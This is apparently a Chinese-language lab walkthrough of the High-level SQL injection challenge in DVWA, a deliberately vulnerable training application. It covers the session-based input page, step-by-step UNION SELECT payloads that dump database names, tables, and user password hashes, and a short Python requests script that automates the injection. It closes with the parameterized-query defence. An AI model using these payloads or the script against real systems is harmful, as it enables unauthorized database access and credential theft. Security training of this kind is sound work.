High 的变化
DVWA High 的 SQL 注入与 Low/Medium 不同——输入页面和结果页面分开了。
Low/Medium: 一个页面 — 上面输入框,下面结果
High: 两个页面 — Session 页面(输入 payload)→ 结果页面(看输出)
在 SQL Injection 主页面看到的是 “Click here to change your ID”,点击后弹出新页面输入 ID,Submit 后回到主页面看结果。
后端做了什么
High 的 PHP 源码逻辑:
// 结果页面(sqli.php):
if (isset($_SESSION['id'])) {
$id = $_SESSION['id'];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";
// 执行查询,显示结果
}
// 输入页面(sqli_session.php):
$_SESSION['id'] = $_POST['id'];
Payload 存在 PHP session 变量里,两个页面通过 $_SESSION['id'] 共享同一个值。SQL 语句本身没有任何变化——字符型注入,没有任何过滤。
注入流程
跟 Low 完全相同——字符型注入,' 闭合、# 注释。
第一步:确认注入点
输入:1' or '1'='1' #
返回全部五个用户。注入成功。
第二步到第六步:UNION SELECT 偷数据
每条 payload 在 “Change your ID” 页面输入:
# 猜列数
1' order by 2 # → 正常 → 列数 = 2
# 确认显示位置
1' union select 1,2 #
→ First name: 1, Surname: 2(两列都可显示)
# 查库名
1' union select database(),2 #
→ dvwa
# 查表名
1' union select group_concat(table_name),2
from information_schema.tables
where table_schema=database() #
→ guestbook,users
# 脱裤
1' union select user,password from users #
user | password
─────────┼──────────────────────────────────
admin | 5f4dcc3b5aa765d61d8327deb882cf99
gordonb | e99a18c428cb38d5f260853678922e03
1337 | 8d3533d75ae2c3966d7e0d4fcc69216b
pablo | 0d107d09f5bbe40cade3de5c71e9e9b7
smithy | 5f4dcc3b5aa765d61d8327deb882cf99
High 到底在考什么
不是防御强度——是应变能力。
分页 + session 传递的实质影响:
对手动注入:零影响
你只是在 “Change your ID” 页面输入 payload,眼睛移到结果页看输出。比 Low 多一次鼠标点击,但不影响任何注入逻辑。Payload 还是 1' or '1'='1' #,后端 SQL 还是 WHERE user_id = '$id'——什么都没变。
对自动化脚本:增加了一个步骤
Low/Medium 只需一个请求就拿到结果:
# Low:一条 GET 搞定
response = requests.get(url + "?id=" + payload)
data = parse_result(response)
High 需要两个请求串联:
# High:先 POST 存 payload,再 GET 读结果
session = requests.Session()
session.post(session_page, data={"id": payload}) # 第一步:存
response = session.get(result_page) # 第二步:读
data = parse_result(response)
差异就是一行代码变三行。 对任何一个会写脚本的渗透测试工程师来说,这不构成障碍。但如果是只会用 sqlmap 默认参数的人,sqlmap 跑 DVWA High 可能需要加 --level=3 才能自动跟踪 session 跨页面——而很多人不知道这个参数,跑不出来就说"没漏洞"。
真正的防御应该是什么
Impossible 等级才会出现真正的防御:
// 参数化查询(预处理语句)
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = :id");
$stmt->execute(['id' => $id]);
// 输入类型校验
if (!is_numeric($id)) { die("Invalid ID"); }
// 结果数量限制
if ($stmt->rowCount() > 1) { die("Too many results"); }
这些才是堵漏洞的墙。 High 的 “session 分页” 只是一层包装纸。
Low / Medium / High 三级对比
| Low(1) | Medium(2) | High(3) | |
|---|---|---|---|
| 注入类型 | 字符型 | 数字型 | 字符型 |
| 后端 SQL | WHERE id='1' |
WHERE id=1 |
WHERE id='1' |
| 输入方式 | 文本框 | 下拉菜单 | 分页 + session |
| 请求方式 | GET | POST | POST(存 session)+ GET(显示) |
| 后端防御 | 无 | mysqli_real_escape_string() |
无(仅 session 传递) |
| 防御有效吗 | — | ❌ 数字型不需要引号 | — |
| 手动注入难度 | 零 | 零(curl 绕前端) | 零(多点一下鼠标) |
| 自动化难度 | 一行 GET | 一行 POST | 三行——POST → GET 串联 |
| Payload | 1' or '1'='1' # |
1 or 1=1 |
1' or '1'='1' # |
| 关键教训 | 字符型三要素:闭合→注入→注释 | 转义函数对数字型无效 | 分页只挡简单脚本,不挡人 |
三级通关后的认知
-
注入类型是第一判断。 数字型不需要引号,字符型需要闭合+注释。这一步错了,后面全部白费。
-
三级防线的本质区别不在难度,在防御原理。 Low 没防,Medium 防了引号但对数字型无效,High 花了心思但分页跟安全没关系。
-
手工熟练后,自动化只是提速手段。 三级的 payload 模板一样——判断类型 → 猜列数 → UNION SELECT → 偷数据。不同的是请求怎么发(GET/POST/session),而不是 SQL 怎么写。
-
DVWA 真正的挑战在 Impossible。 那是用参数化查询 + 类型校验 + 结果数量限制三重防线堵死的——没有绕过方案,因为它从根本上消除了注入的可能性。
上一篇:SQL 注入 Medium(2)